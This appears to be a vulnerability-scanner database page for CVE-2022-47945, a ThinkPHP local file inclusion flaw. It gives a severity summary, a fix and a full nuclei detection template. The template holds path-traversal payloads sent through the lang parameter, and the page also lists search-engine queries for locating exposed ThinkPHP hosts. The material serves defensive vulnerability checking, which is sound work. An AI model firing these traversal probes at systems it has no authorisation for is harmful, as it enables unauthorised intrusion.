Browse / CVEs / CVE-2022-47945
CVE-2022-47945· thinkphp / thinkphp· CWE-22
Thinkphp Lang - Local File Inclusion
criticalseverity
9.8CVSS score
30.2%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
Impact
This vulnerability can lead to unauthorized access, data leakage, and remote code execution.
Fix
Apply the latest security patches and updates provided by the Thinkphp framework.
How to confirm it
Send: GET {{BaseURL}}/?lang=../../thinkphp/base ; GET {{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug
Positive when: contains "Call Stack" and "class=\"trace" AND status 500Run it with nuclei: nuclei -id CVE-2022-47945 -u <target>
The full check
id: CVE-2022-47945
info:
name: Thinkphp Lang - Local File Inclusion
author: kagamigawa
severity: critical
description: |
ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
impact: |
This vulnerability can lead to unauthorized access, data leakage, and remote code execution.
remediation: |
Apply the latest security patches and updates provided by the Thinkphp framework.
reference:
- https://tttang.com/archive/1865/
- https://nvd.nist.gov/vuln/detail/CVE-2022-47945
- https://github.com/top-think/framework/compare/v6.0.13...v6.0.14
- https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-47945
cwe-id: CWE-22
epss-score: 0.30237
epss-percentile: 0.98236
cpe: cpe:2.3:a:thinkphp:thinkphp:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: thinkphp
product: thinkphp
shodan-query:
- title:"Thinkphp"
- http.title:"thinkphp"
- cpe:"cpe:2.3:a:thinkphp:thinkphp"
fofa-query:
- header="think_lang"
- title="thinkphp"
google-query: intitle:"thinkphp"
tags: cve,cve2022,thinkphp,lfi,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?lang=../../thinkphp/base"
- "{{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Call Stack'
- 'class="trace'
condition: and
- type: status
status:
- 500References
- https://tttang.com/archive/1865/
- https://nvd.nist.gov/vuln/detail/CVE-2022-47945
- https://github.com/top-think/framework/compare/v6.0.13...v6.0.14
- https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from